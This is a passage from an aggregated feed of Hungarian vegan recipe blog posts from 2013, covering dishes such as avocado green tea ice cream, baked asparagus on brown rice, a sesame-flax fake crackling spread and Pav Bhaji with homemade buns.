- 2 evőkanál szálas zöld tea porrá őrölve
- 1 db érett avokádó (felszeletelve)
- 4-5 evőkanál cukor /alternatíva stevia, agave szirup, juharszirup ízlés szerint)
Így készítsd el:
A fagylalt összeállítása nem vesz igénybe 15 percnél hosszabb időt. Mindössze annyit kell tenned, hogy a fentebb felsorolt hozzávalókat beleöntöd a mixerbe és alaposan összeturmixolod. A fagylalt textúrája az avokádótól krémes lesz, semleges íze nem nyomja el a zöld tea aromáit. A krémet fagyi gépbe töltheted, ha van a konyhádban ilyen, az szépen elvégzi a további teendőket. Ha nincs, akkor öntsd egy jól záró üvegtálba a matériát majd tedd a fagyasztóba. Két óra múlva vedd ki, és keverd át egy kanállal. Tedd vissza fagyni, majd újabb két óra múlva ismét keverd át. A keveréstől lesz finom, krémes textúrája. Ezután hagyd, hogy megfagyjon. Tálalás előtt érdemes tíz percig szobahőmérsékleten hagyni, hogy fellazuljon és könnyebben ki lehessen kanalazni. Vizuális étvágygerjesztésképpen lehet szórni néhány szál teafűvel, mentalevéllel, vagy egy kicsi olvasztott vegán étcsokoládéval.
Csőben sült zöldspárga barnarizs ágyon
2013. május 2. Fittanyuka Blog
Ezt a fő ételt a minap készítettem a Biocsemegében, ahol minden kedden mostanság én főzőm az ebédet:)! Sikere volt, így törvényszerű, hogy megosszam veletek is. Tipp: A spárga szezon elkezdődött és javaslom fogyasszatok belőle sokat, mert nagyon jól méregteleníti a veséket, vízhajtó hatású. Nyersen a hegye a legfinomabb salátákba tördelve, ha főzitek, ne öntsétek ki a levét, érdemes elkortyolgatni a fenti hatások miatt. Ez a csőben sült, az egész család ebédje lehet, lehet kockázni és hidegen-melegen fogyasztani egyaránt, friss salátával. Hozzávalók: 4 fő részére 250 g barnarizs 500 g zöldspárga 400 ml növényi tejszín 2-3 evőkanál kukorica keményítő 200 g gabona gömböc, vagy szejtán 2 evőkanál kókusz olaj 2 evőkanál olíva olaj 1/2 citrom leve 4 kk himalaya só 1/2 kk őrölt kurkuma 3 cikk fokhagyma 100 g bio margarin A barnarizst háromszoros mennyiségű vízben, kevés sóval puhára főzzük. Tipp: én a biopontos barnarizst szeretem használni, mert gyors főzésű. A spárga fás részeit levágjuk a végekről és annyi vízben amennyi ellepi őket egy edényben a citromlével, 1kk himalaya sóval, 2 evőkanál olíva olajjal roppanósra főzzük. Közben a gömböcöt apró kockákra vágjuk és a felaprított fokhagymával ( 1 -2 cikk), a kókusz olajon megpirítjuk. Fűszerezhetjük kevés frissen darált borssal. A növényi tejszínt csomómentesen elkeverjük a keményítővel a maradék préselt fokhagymával, 1 kk sóval, kurkumával. A megfőtt, leszűrt, utólag kissé átmosott rizst, egy tűzálló tálba egyengetünk el, amelyet előtte valamilyen zsiradékkal a fentiek közül kikentünk. Erre következnek szép sorban lerakva a lecsepegtetett spárgák, majd a pirított gömböc. Ráöntjük a növényi tejszínt, a tetejére pedig elszórtan a bio margarint kanalazzuk és előmelegített sütőben 180 C fokon 20-25 percig sütjük. Aki szeretne a tetejére szeletelhet növényi sajtot. Fittanyuka
Kókusztej
2013. április 29. La Veganista
Sokféle növényi tejet kipróbáltam már, de a legkedvesebb mind közül, a kókusztej. Elkészíteni rendkívül egyszerű. Nincs szükség hosszú áztatásra sem. A kókusztej gazdag aromáival, krémes lágyságával kiváló smoothie-hoz, forró italokhoz (a kakaó isteni vele), süteményekben, egzotikus ételekben (pl. mangókrémleves) is kiválóan üzemel.
Hozzávalók:
- 2 csésze kókuszpor vagy kókuszreszelék
- 3 csésze forróvíz
Így készítsd el:
A forróvizet és a kókuszport mixeld össze turmixgépben, majd szűrd le. Tetszés szerint ízesítheted vaníliával, fahéjjal, gyümölcs pürével, juhar sziruppal stb. A sima kókusztej 4-5 napig eláll a hűtődben. A folyadékfelszínén a hűtőben kókuszzsír megfagy, ezért érdemes felhasználás előtt összekeverni a kókusztejet. A tejgyártásból visszamaradt kókusz szárazanyagot sem kell kidobni. Felhasználható a reggeli müzliben, különböző süteményekben, ételekben.
Padlizsánvacsora
2013. április 25. Vera vega konyhája
Annyira egyszerű ez a vacsora, hogy ciki feltennem, de én mégis meg szeretném osztani, hogy miket eszem esténként a fogyókúra miatt. Kenyeret igyekszem este nem enni, ezért salátát, vagy valami ilyesmi egyszerűt szoktam, mit ez a jól sikerült egytálétel :) Hozzávalók: 1 padlizsán 3 szál újhagyma 1 nagy marék bébispenót 2 gerezd fokhagyma fűszerek, só olívaolaj, kókuszolaj pirított napraforgó mag A padlizsánt felkockáztam, az újhagymát felkarikáztam. Az olajokon elkezdtem pirítani, majd fűszereztem, hozzányomtam a fokhagymát, hozzáadtam a spenótot és az egészet közepes lángon addig kevergettem, míg a padlizsán meg nem puhult teljesen. Maggal megszórtam, friss zöldséggel ettem.
Szedres Csokoládé fagylalt
2013. április 24. Fittanyuka Blog
Egyre melegebb az idő, a gyerekek ( és a felnőttek is) egyre többször emlegetik a fagyit, legalábbis nálunk szinte napi téma mostanában:). Megszokhattátok tőlem, hogy olyan fagyi recepteket írok, amelyekhez nem szükséges fagylalt gép. Nekem nincsen és egyenlőre nemis tervezek ilyesmit vásárolni. Ezek a fagylaltok átmenetek a fagylalt és a pohárkrémek között, azonnal fogyaszthatóak és finomak. A fagyasztást leszámítva nyersek, vagyis élettanilag sokkal jobbak a főzött, cukrozott fagyiknál. Továbbá teljesen vegán és adalékmentes. Ami a legfontosabb, hogy a fagyi utáni vágyunkat tökéletesen kielégítik! Hozzávalók: 1 maréknyi fagyasztott szeder / fő 1 evőkanál, magas kakaótartalmú, bio kakaópor / fő 1 evőkanál méz, vagy xilit, vagy kókusz cukor / fő, vagy 1 kk stevia por / fő 2 evőkanál növényi tejszín / fő - kókusz tejszínt ajánlok hozzá 1 evőkanál kesúdió őrlemény , vagy mandula liszt / fő késhegynyi bourbon vanília 1 kk citromlé / fő Magas kakaótartalmú étcsokoládé darabok, forgács és egész szeder a díszítéshez. A kókusz tejszínt a kesúdió vagy mandulaliszttel krémesre turmixoljuk, majd hozzáadjuk a szedret és a kakaóport és együtt még egyszer, alaposan összeturmixoljuk. Addig turmixoljuk amíg krémes állagú nem lesz. Egy fagyis pohárban lerakunk egy sor szedret, egy adag fagylaltot, megszórjuk étcsokoládéval és így rakjuk tovább, amíg tele nem lesz. Azonnal fogyasztjuk!Fittanyuka
Spenót saláta Avokádó majonézzel
2013. április 18. Fittanyuka Blog
Előtérben a saláták, egyben próbállak ösztönözni benneteket, hogy egyetek több és több zöldséget, sötét zöld színű, leveles zöldségeket. Éltető klorofillt, enzimeket, vitaminokat tartalmaznak. Variálhatjuk az önteteket is, erre példa az alábbi majonéz. Avokádó majonéz: Hozzávalók: (2 fő részére) 1 db avokádó 2-3 evőkanál növényi tejszín ( én a sűrű kókusz tejszínt használtam). 1 kk himalaya só 1/2 kk kurkuma 1-2 kk agave szirup 1/2 citrom leve 2-3 evőkanál olíva olaj 1-2 db cikk fokhagyma Az alapanyagokat krémesre turmixoljuk! Chia mag a tetejére Tetszőleges mennyiségű friss spenót levelet megtisztítunk, összetépkedünk. Külön készítettem erre még egy laza dresszinget: 1/2 citrom leve 2 evőkanál tetszőleges hidegen sajtolt olaj 1/2 kk himalaya só A dresszinggel összeforgatjuk a spenót salátánkat és a majonézzel tálaljuk, adhatunk hozzá pirítóst, megszórtam chia maggal, amely sok, értékes omega zsírokat tartalmaz. Fittanyuka
Szezámolajos pH Saláta - Quinoa csírával
2013. április 15. Fittanyuka Blog
A héten zajlik a Lékúrázó csoporttal a felkészülésünk a Tavaszi Közös Méregtelenítő kúrára. Egyébként is fontos a zöldek, saláták napi szintű fogyasztása, de most szeretnék még több tippet adni és kedvet csinálni a saláta fogyasztáshoz. A quinovát így is lehet fogyasztani, amellett, hogy köretnek, kásának megfőzzük, kis csíráztató edényben kicsíráztattam 3-4 nap alatt és ezzel gazdagítottam ezt a salátát. Hozzávalók: 1 db kisebb cukkini 1/2 db kígyó uborka 1 db kis fej lilahagyma 1-2 db közepes sárgarépa 1 db avokádó 3-4 db kel levél Quinoa csíra tetszőleges mennyiségben Dresszing: 4 evőkanál hidegen sajtolt szezámmag olaj 1 kk kókusz cukor 2-3 evőkanálnyi friss citromlé 1/2 kk himalya só Egy kis befőttes üvegben a dresszing hozzávalóit alaposan összerázzuk. A zöldségeket megmossuk, a kígyó uborka héját én most nem héjaztam le, mert vegyszermentes gazdálkodásból származott, ha nem tudtok ilyet beszerezni, akkor a héját nem célszerű elfogyasztani. Zöldség gyalu segítségével a cukkinit és az uborkát hosszú csíkokra gyalultam, a répát szintén lereszeltem, a kel leveleket összetépkedtem, a hagymát vékony karikákra szeltem, a dresszinggel alaposan összekevertem és a felszeletelt avokádóval díszítettem, majd megszórtam a csírával.Fittanyuka
Vadasmártás
2013. április 14. Fittanyuka Blog
A mártás nevének semmi köze a vadakhoz, legalábbis nem szeretném:)! Az elnevezésen nem szerettem volna változtatni, mert így mindenki tudja miről van szó. Karamelizált cukor helyett kókusz cukrot használunk, mert természeténél fogva enyhén karamellizált ízű és természetes édesítő. Nagyon finom bundázott zöldségekhez, tönköly fehérjéhez, krokettekhez, tésztához, fasírtokhoz, vagy bundázott gabona sonkához, stb. Hozzávalók 4 főre: 1 db közepes zeller 1 db nagy szál gyökér 3 nagy répa 3-4 db babérlevél 2 db nagyobb krumpli 1 db nagyobb hagyma néhány fekete szemes bors 2-3 kk himalaya só 1 evőkanál kókusz cukor 3 evőkanál kókusz tejszín Víz 1 db citrom leve A zöldségeket tisztítás után rusztikus darabokra szeleteljük és a víz, citromlé, só, fekete bors segítségével pác levet készítünk. Annyi vízzel, hogy ellepje a zöldségeket. Érdemes előző este bepácolni a zöldségeket és másnap a páclével együtt, lassú tűzön addig főzzük amíg a zöldségek megpuhulnak. Leöntjük a felesleges vizet és a kókusz tejszín, kókusz cukor hozzáadásával összeturmixoljuk. Ha szükséges még sózzuk. Fittanyuka
Töltött hagyma, töltött retek
2013. április 10. Fittanyuka Blog
Csak kreatívan! Ez az egyik jelszavam. Nem szabad kétségbe esni, ha csak szinte hagyma van otthon:). Ízletes, finom fogást lehet kanyarítani belőle. Kedvencem az újhagyma után a már nagyobb, de még mindig zsenge hagyma. Abból a legfinomabb ez a recept! Hozzávalók: 4 főre 1-2 db nagyobb, egyforma méretű hagyma / fő 20 dkg champion gomba 4 evőkanál barna rizs 1 kk himalaya só késhegyni őrölt fekete bors késhegynyi szerecsendió késhegynyi őrölt köménymag 2 cikk fokhagyma víz 1 evőkanál kókusz zsír A rizst kétszeres mennyiségű vízben puhára főzzük. A hagymákat lehéjazzuk és lobogó vízben 10 percig főzzük. Kiszedjük a vízből és hagyjuk hűlni. Hagymák tetejét levágjuk és a közepüket kiszedjük. Három réteg hagyma maradjon, mert később tölteni fogjuk. A kiszedet hagymának 1/4 részét az összeaprított fokhagymával együtt az olajon megdinszteljük, majd hozzáadjuk az előre lereszelt gombákat. Fűszerezzük az őrölt köménymaggal, szerecsendióval, borssal. A gombás egyveleget összekavarjuk a rizzsel, megtöltjük vele a gombákat és egyenként egy kiolajozzott tűzálló tálba helyezzük. Előmelegített sütőben 180 C fokon 20 percig sütjük. Kakukk tojás a retek:). Egy - két nagyobb retek belsejét, akár a karalábot kikapartam és szintén megtöltöttem a gombás töltelékkel. A retket nem szükséges megfőzni előre. Köret lehet hozzá barnarizs, köles, zöld saláta.Fittanyuka
Gasztroajándék ötlet: Hamis tepertőkrém
Itt volt a húsvét, s úgy adódott, hogy a szokásos családi látogatást nem tudtuk megejteni. Tavaly ilyentájt nem csak szüleinknél (mindkettő), hanem férjem egyik nénikéjénél is jártunk, de most máshogy alakultak az események az életünkbe. Míg tavaly medvehagymát olajban raktam el, és adtam ajándékba mindenkinek, idén csak egy látogatást tudtunk megejteni (eleve még húsvétkor is hullott a hó, ami megakadályozta, hogy sok medvehagymához jutottam volna), így oda hamis tepertőkrémet vittünk. Annyira megtetszett annak, aki kapta, hogy a következőket mondta és írta: "Amikor édesanyám krumplinyomóval összetörte a töpörtyűt és krémet készített, ennek pont olyan íze van." "Nem tudom, mit boszorkánykodtál össze megint, de ez valami fenséges". "Zabálom, s majd eldugom magam elől, köszönöm". Jelenleg és egész életében normál étkezésű családtagról van szó, aki nem vegetáriánus. Mivel ilyen nagy élvezet volt számára, néhány nap múlva küldtem neki egy újabb adagot. Szóval ez a kenyérre való is lehet gasztroajándék, csak jelezni kell, hogy hűtőben tárolják, és néhány napon belül azért fogyasszák el. Nem csak húsvétkor, karácsonykor vagy más alkalomkor. Leírom ismét a receptet, hogy ne kelljen keresgélni:
A recept:
Hozzávalók:
- 14 dkg szezámmag
- 8 dkg lenmag
- olívaolaj (hidegen sajtolt, extra szűz az ajánlott)
- kókuszzsír
- piros fűszerpaprika
- őrölt köménymag
- só
- üveg, amibe tesszük
Elkészítés:
A szezám felét, vagyis 7 dkg-t megpirítunk olajmentesen lehetőleg teflon vagy kerámia edényben. Amíg pirul, a lenmagot és a szezámmag másik felét megdaráljuk, minél porhanyósabb állagúra. Amikor a szezámmag megpirult, szintén a darálóba tesszük. (Érdemes megvárni, míg kicsit kihűl.) A ledarált magokat összekeverjük és fele-fele arányban olívaolajat és kókuszzsírt teszünk hozzá, valamint ízlés szerint sózzuk, őrölt fűszerpaprikát és őrölt köménymagot keverünk hozzá. Ha nincs otthon kókuszzsír, készíthetjük csak olívaolajjal, de a hűtőben a kókuszzsíros változat jobban megdermed.
Az ajándékba adott első üveg csak kókuszzsírral készült. Hűtőben megdermedt és darabosan lehetett kenyérre tenni, nehezebb volt kenni. A második üvegnél már ismét tettem bele olajat (fele olaj, fele kókuszzsír) és kicsit folyósabb, kenhetőbb állaga lett. Mindkettő nagyon finom volt.
Csicseriborsós brassói
Ez az ebéd két étel egyesítéséből született. Először is készítettem egy nagy adag sült csicseriborsót, ahogy azt az előző bejegyzésemben leírtam. Majd fűszeres krumplit sütöttem. A kettő egyesítéséből lett a csicseriborsós brassói. Tehettem volna még hozzá sült szójakockákat, ahogy az első brassói receptemben, de a csicseriborsó annyira gazdag fehérje forrás, hogy direkt kihagytam. Fehérjeforrásáról árulkodik az a tény is, hogy földünk bizonyos területein sokkal intenzívebben elterjedt a konyhában történő alkalmazása. Nyilván ezek azok a területek, ahol az emberek húst kevésbé fogyasztanak, mert az nem annyira könnyen elérhető, mint pl. hazánkban (Afrika, Dél-Amerika).
A recept:
Hozzávalók:
- 1 adag sült csicseriborsó (Attól függően, hány főre készítjük, kevesebb, vagy több)
- 12-14 db krumpli
- kókuszzsír vagy olaj
- piros fűszerpaprika
- őrölt köménymag
- só
- víz
- sütőpapír
Elkészítés:
A krumplikat megpucoljuk, kockákra vágjuk és forró, sós vízben addig főzzük, míg félkemények lesznek. Ennek okáról korábban ITT írtam (gyorséttermek sült burgonyája alcímnél). A krumplikat főzés után leszűrjük és egy tálban fűszerrel és egy kevés olajjal vagy kókuszzsírral összekeverjük. Sütőpapírral bélelt tepsiben ropogósra sütjük. Amikor megsült a csicseriborsó és a krumpli is, két módon tálalhatjuk. Vagy egy nagy tálban összekeverjük az egészet, vagy mindenki külön szed tányérjára krumplit és rá csicseriborsót. Rukkolát ettünk hozzá, de savanyúság vagy más saláta is remekül passzol hozzá.
Igen, tudom, a brassói elsősorban húsból áll, és másképp is elkészíthető (szaftosabban, aki így szereti). De úgy gondolom, a csicseriborsó növényi fehérjeforrása miatt is sokkal egészségesebb hozzávaló, mint bármelyik hús, s talán a szójánál is jobb.
Almás szelet (Tej és tojásmentes)
A vegánságról korábban azt gondoltam, hogy nem lehet piskótát vagy kevert sütit készíteni, mivel ezek a sütemények köztudottan "tojásfüggők". Szerencsére a mai konyhatudomány már sokkal felsőbb szinteken jár, mintsem lehetetlennek tűnjön piskótát, vagy kevert süteményt létrehozni tojásmentesen. Íme egy újabb bizonyítéka annak, hogy a vegánoknak és vegetáriánusoknak nem szükséges "szegényes" választékból élni. Ha kevert tésztát szeretnének sütni, tojás nélkül is lehet finomat és szépet kreálni.
A recept:
Hozzávalók:
- 1 bögre kókuszreszelék (felhasználás előtt megpirítottam, de anélkül is elkészíthető)
- 1/2 bögre barna cukor vagy valamivel kevesebb gyümölcscukor, nyírfacukor (attól függően, hogy ki mivel édesít)
- 1/2 bögre gabonatejpor
- 1 alma reszelve
- 2 evőkanál olaj
- 1 bögre víz (szénsavas jobb, de most én is szénsavmentessel készítettem)
- 1 csapott teáskanálnyi szódabikarbóna
- liszt, amennyi hasonló állagúvá teszi, mint a piskótamassza, de nem túl folyós
- 2 alma meghámozva, félkarikákra szeletelve
- sütőpapír
Elkészítés:
Egy keverőtálba először a száraz hozzávalókat tesszük bele (kivéve a liszt), összekeverjük, majd a reszelt almát, vizet, olajat is hozzáadjuk. Ehhez a masszához keverünk annyi lisztet, amitől piskótaszerű állagot kapunk. Vegyesen tettem bele fehér és teljes kiőrlésű lisztet 2/3 arányban a fehér liszt javára. A masszát simára keverjük, majd sütőpapírral (vagy szilikonlappal) bélelt tepsibe öntjük, kanalazzuk a masszát. A tetejére pedig a frissen felvágott (és meghámozott) almaszeleteket tesszük. Közepes lángon legalább 40 perc sütés szükséges. Tűpróbával ellenőrizzük.
Street food indiából - textilgyári munkások királyi lakomája
A Pav Bhaji India egyik legfinomabb vegetáriánus utcai étele. Az 1850-es évekből származik, Mumbai textilgyári munkásai kóstolhatták meg először a rövid ebédszünetekben. A Pav a portugál Pao (kicsi kenyér) szóból ered, a Bhaji pedig zöldséges ételt jelent. Az indiai piacok konyháiban ma is naponta készítik számos variációját, hatalmas, forró serpenyőbe hajigálva a hozzávalókat, amit vajjal és vízzel főznek meg, majd egy krumplinyomóhoz hasonló eszközzel pürésítenek. Mivel a vegán konyha nem használ állati eredetű összetevőket, ezért a vajat a kókusz zsírral helyettesítjük. A különbség észrevehetetlen. A receptben bemutatom a vegán Pav készítését is, de aki nem akar pepecselni a kelt tésztával (pedig nagyon megéri), annak egy rizses alternatívát ajánlok.
Hozzávalók:
A Bhaji:
- 2 csésze karfiol megtisztítva, rózsákra szedve (megpárolva)
- 1/4 csésze zöldborsó (megpárolva)
- 2-3 db közepes méretű főtt burgonya (összetörve) (fontos, hogy
- főzésre alkalmas burgonyát használj)
- 1db kápia vagy kaliforniai paprika (felkockázva)
- 8 db közepes méretű paradicsom (felkockázva)
- 1 db közepes hagyma (apróra vágva)
- 4 teáskanál kókusz zsír
- 2 teáskanál Pav Bhaji Masala
- 2 teáskanál koriander levél
- 2 teáskanál szárított görögszéna levél (kasoori methi)
- 1/2 teáskanál kurkuma
- 1 teáskanál vörös chilipor
- 2 teáskanál gyömbér-fokhagyma paszta
- 1-2 teáskanál citromlé
- só ízlés szerint
A Pav (kb. 12 db):
- 3 csésze kenyérliszt (400g) (plusz egy kicsi még a szóráshoz)
- 2 teáskanál olívaolaj
- 250 ml csésze langyos víz (ne legyen túl meleg, mert tönkreteszi az élesztőt)
- 1 evőkanál cukor
- 1,5 teáskanál só
- 1,5 teáskanál ízesítetlen rizstej a Pavokat ezzel kenjük meg sütés előtt
- 1 teáskanál kókuszzsír a Pavokat ezzel kenjük meg sütés után
A rizs:
- 1,5 csésze basmati rizs
- 2 teáskanál köménymag
- 2 teáskanál fekete mustár mag
- 1 teáskanál fekete hagyma mag
- olívaolaj
- só
Így készítsd el:
Bhaji rapid módszerrel: A karfiolt, a zöldborsót és a burgonyát főzzük meg. Aprítógépben, vagy botmixer segítségével pürésítsük a paprika és paradicsom kockákkal, valamint a felvágott hagymával. A masszát öntsük egy nagy serpenyőbe és keverjük hozzá a fűszereket (2 tk Pav Bhaji Masala, 2 tk koriander levél, 2 tk kasoori methi, 1 tk chili, 1/2 tk kurkuma, 2 tk gyömbér-fokhagyma paszta, 1-2 tk citromlé, só ízlés szerint), majd lazítsuk fel 4 teáskanál kókusz zsírral. Főzzük 10 percig.
A Pav (12 db): Keverjük össze az élesztőt, a cukrot és a vizet. Adjunk neki tíz percet, hogy az élesztőt aktiválja a cukor. (Folyadék tetején barnás hab képződik.) Közben egy nagyobb tálba öntsük bele a lisztet, adjuk hozzá a sót, az 2 evőkanál olívaolajat, keverjük össze, majd egy kis mélyedést alakítsunk ki a közepén, és abba öntsük az élesztős vizet. Keverjük össze liszttel és 10 percig gyúrjuk. Ezután adjunk hozzá 2 teáskanál olívaolajat, és dolgozzuk össze. Amikor tésztánk már puhává és könnyűvé vált, akkor hagyjuk lefedve pihenni 1-2 órán keresztül. Ismét gyúrjuk át, majd tépjünk ki belőle azonos nagyságú darabokat és tenyereink között formáljunk belőlük kerek bucikat. Tegyünk sütőpapírt egy tepsibe és rakosgassuk egymás mellé a kicsi Pavokat. Hagyjuk a tepsiben tovább kelni lefedve még egy órát. Melegítsük elő a sütőt 200°C-ra. A Pavok tetejét kenjük be ízesítetlen rizstejjel. Süssük 200°C-on 10 percig, majd vegyük le a hőmérsékletet 180°C-ra és kb. 10-12 perc alatt süssük a tetejét aranybarnára. A sütőből kivéve, egy darab kókusz zsírral kenjük át minden Pav tetejét, hogy szép fényes legyen.
A Rizs: A basmati rizst egy evőkanál olívaolajon megpirítjuk, majd vízzel felöntjük, enyhén sózzuk. Amíg a rizs fő, egy serpenyőben egy-két evőkanálnyi olívaolajon kipattogtatjuk a köménymagot és a fekete mustármagot, végül hozzáadjuk a hagymamagot. A leszűrt főtt rizzsel összekeverjük és forrón tálaljuk a Bhajival.
Akár Pavval, akár rizzsel tálaljuk a Bhajit, ne felejtsünk el a szósz mellé egy darab citromot, némi apróra vágott hagymát és felkockázott paradicsomot szórni.
Kürtős kalács - sütőben sütve
2013. március 28. Mindennapi ételeink
Húsvét táján sokan kalácsot sütnek, így most egy különleges kalácsreceptet szeretnék megosztani. A recept Dulminától származik, csak egy kicsit alakítottam rajta. Hozzávalók: 1 dkg élesztő 1 dl víz 2 ek.barna cukor 17 dkg teljes őrlésű liszt 18 dkg finomliszt 1 ek. őrölt lenmag 10 dkg barna cukor 0,5 dl 100% extra szűz olívaolaj 2-3tk. vaníliapor 1 citrom héja -- 4 ek. barnacukor + 2 tk. őrölt kardamom 4 ek. kókusz Elkészítés: Az élesztőt a cukros vízben felfuttatjuk, a liszteket kimérjük, az őrölt lenmagot is hozzáadjuk, majd ízesítjük még citromhéjjal, cukorral, vaníliával. Meleg helyen 1 óra alatt kelesztjük. Ezt követően kb. 1 ujjnyi vastagságúra nyújtjuk és 2 ujjnyi csíkokat vágunk belőle. Ezeket alufóliával beborított konyhai kéztörlő-gurigákra tekerjük. Majd meghempergetjük a barna cukorban, kókuszban. Egy tespibe beállítjuk a gurigákat, és előmelegített sütőbe téve 160 fokon kb. 20-25 perc alatt kisütjük.
Újhagymás omlett - olvadós növényi sajttal
2013. március 26. Fittanyuka Blog
Ha valami gyors ebédre, vagy vacsorára vágytok, akkor melegen ajánlom ezt a receptet. Növényi fehérje forrás, ezért ideális zöldségekkel, salátával, nagyon finom is, természetesen. Az olvadós növényi sajt, mindig hangsúlyozomm nem egyenlő a szupermarketekben kapható, ételnek nem nevezhető, hidrogenizált zsírokból készült valamivel. Én a Viofast termékeit ajánlom, amely tej,-laktóz, szójamentes, vagy a sojaproduct termékét, amely tartalmaz szóját, de úgy olvad, mint a mozzarella. Hozzávalók: 2 evőkanál / fő sárgaborsó liszt 1/2 kk himalaya só késhegynyi őrölt zöld bors 2-3 szál újhagyma 1 db kisebb cukkini 1 db sárgarépa 1 cikk fokhagyma víz kókusz olaj a sütéshez A sárgaborsó lisztet elkeverjük a fűszerekkel, bele reszeljük a zöldségeket, a felaprított újhagymát és annyi vízzel keverjük össze, amíg egy sűrű palacsinta tészta sűrűségű masszát kapunk. Először mindig kevesebb vizet adjunk hozzá. Diónyi olajat felhevítünk egy tapadásmentes edényben és egy evőkanál segítségével kis halmokat szedünk ki. A vékony szeletekre vágott sajtból, 1-2 szeletet a közepükre helyezünk, ha megsült, lapát segítségével a sajtos felületet és megsütjük. Majd melegen tálaljuk zöldekkel, salátával. Tipp: Zöldfűszerekkel is gazdagíthatjuk és kedvenc zöldségeinkkel. Ha valaki puhábban szereti a zöldségeket benne, akkor előre dinsztelje meg kevés olajon!Fittanyuka
Spenótos Gödöle
2013. március 24. Fittanyuka Blog
Ezt a receptet már rögtön ajánlom is a húsvéti ünnepi asztalra. Egyszerűségében a nagyszerűsége. Fogyasztható zöld salátával, de köretként is megállja a helyét, hidegen,-melegen egyaránt. Kukorica darából készül, tehát gluténmentes fogás. Az eredeti recept krumplit is tesz bele, de ez élettanilag nem igazán előnyös, így könnyebben emészthető, könnyebb fogás. Hozzávalók: 4 fő részére 250 g kukorica dara 250 g friss spenót 2 cikk fokhagyma 1-2 kk himalaya só 1 evőkanál kókusz olaj A kukoricát háromszoros mennyiségű vízben 1 kk sóval, állandó keverés mellett puhára főzzük. A megtisztított spenót leveleket, 1 evőkanál kókusz olajon, sóval, megfonnyasztjuk, bele préseljük a 2 cikk fokhagymát. A spenótot összekeverjük a főtt kukorica darával. Egy tűzálló tálat kikenünk kevés olajjal és egy evőkanál segítségével tojásdad alakú galuskákat szaggatunk. Előmelegített sütőben 150 C fokon 20 percig sütjük. Tavaszi zöldekkel tálaltam: ruccola, medvehagyma vagy lehet galambsaláta, jégsaláta, stb. Fittanyuka
Hamis tepertőkrém
Tepertő vagy töpörtyű? Egyes magyar nyelvet tanítók szerint a töpörtyű alacsony termetű emberek megnevezéseként szolgál. Ezért aztán tepertő a helyes kifejezés. Azonban úgy gondolom, előbb volt töpörtyű, mint étel s az ragadt rá az alacsony egyedekre. Tehát - véleményem szerint - mindegyik helyes. Környezetemben is töpörtyűt mondanak a legtöbben. De nem is ez a lényeg. Hanem az, hogy ismét egy ételre bukkantam, ami hamisítható! (Köszönet érte az egyik fórumtársamnak, aki felhívta rá a figyelmemet.) Amikor először hallottam, jobban mondva olvastam róla, teljesen be lettem sózva, hogy ezt ki kell próbáljam. Még csak nem is azért, mert gyerekkoromban szerettem volna a töpörtyűt. Közömbös volt számomra. Csak arra emlékszem, hogy dédimamáméknál az egyik disznóvágáskor hol és milyen körülmények között készítették. Viszont sokkal nagyobb izgalomba hozott az, hogy a belőle készült krém hamisítható! :) Svindli lennék tőle? Kétlem. :)
A recept:
Hozzávalók:
- 14 dkg szezámmag
- 8 dkg lenmag
- olívaolaj (hidegen sajtolt, extra szűz az ajánlott)
- kókuszzsír
- piros fűszerpaprika
- őrölt köménymag
- só
Elkészítés:
A szezám felét, vagyis 7 dkg-t megpirítunk olajmentesen lehetőleg teflon vagy kerámia edényben. Amíg pirul, a lenmagot és a szezámmag másik felét megdaráljuk, minél porhanyósabb állagúra. Amikor a szezámmag megpirult, szintén a darálóba tesszük. (Érdemes megvárni, míg kicsit kihűl.) A ledarált magokat összekeverjük és fele-fele arányban olívaolajat és kókuszzsírt teszünk hozzá, valamint ízlés szerint sózzuk, őrölt fűszerpaprikát és őrölt köménymagot keverünk hozzá. Ha nincs otthon kókuszzsír, készíthetjük csak olívaolajjal, de a hűtőben a kókuszzsíros változat jobban megdermed.
Oké, belátom, már nem emlékszem, mikor ettem utoljára töpörtyűt, hiszen kb. 10-12 éves lehettem, amikor az egész család felhagyott bizonyos húsok fogyasztásával. Azonban férjem szerint is tepertőkrémhez hasonló íze lett. Azért is jó kis pástétom ez a hamis töpörtyűkrém, mert az íze miatt ugyan eteti magát, de tulajdonképpen gazdag olajforrás is, ezért érdemes mértéktartónak lenni, nehogy megülje az ember gyomrát.
Spenót pesztós buci karamelizált lilahagymával
2013. március 20. Fittanyuka Blog
Van az úgy, hogy ebédre csak bekapnánk egy gyors szendvicset! Ez a recept tippet ad, hogyan lehet egy szendvics nemcsak praktikus, gyors, de egészséges is! Annyira finom, hogy kérek még kategória:). Ki gondolná, hogy ez a néhány hétköznapi összetevő, mint a lilahagyma, spenót ilyenre is képes. A ropogós bucival pedig egyenesen isteni:)! Kellőképpen felcsigáztam mindenkit, akkor jöhet a recept: Hozzávalók: (2 fő részére) 2 db tönköly, teljes őrlésű buci, vagy ciabatta, esetleg bagett 2 db közepes lilahagyma 2 evőkanál kókusz olaj 3 kk kókusz cukor 1 kk himalaya só Spenót pesztó: 2 maréknyi friss spenót levél 1 cikk fokhagyma 2 evőkanál szezámmag 1 kk himalaya só 1 evőkanál hidegen sajtolt olíva olaj 1/2 citrom leve 200 ml növényi tejszín 1 kk bio mustár valamilyen, zsenge csíra A lilahagymát apró kockára vágjuk és a felhevített kókusz olajon üvegesre pirítjuk, hozzáadunk 1 kk himalaya sót és a kókusz cukrot. Elkészítjük a spenót pesztót: A spenót leveleket kissé összetépkedjük és a növényi tejszínnel, olíva olajjal, sóval, citromlével, mustárral összeturmixoljuk, addig amíg krémes állagot nem kapunk. Én szója tejszínt használtam, mert az keveréssel sűrűsödik, nem hígul. Belepréseljük a fokhagymát is, és hozzáadjuk a szezámmagot. Ha igazán pikánssá akarjuk tenni, akkor a szezámmagot enyhén megpiríthatjuk kis lángon egy serpenyőben, zsiradék nélkül. A tönköly bucikat ketté vágjuk és sütőben 3-4 percig pirítjuk mindkét oldalukat, majd ráhalmozzuk a lilahagymát, pesztót és végül a csírákat. Ideális nemcsak ebédre, hanem akár reggelire, vacsorára is!Fittanyuka
Agyfényező golyók aszalt gyümölcsökből, cukormentesen
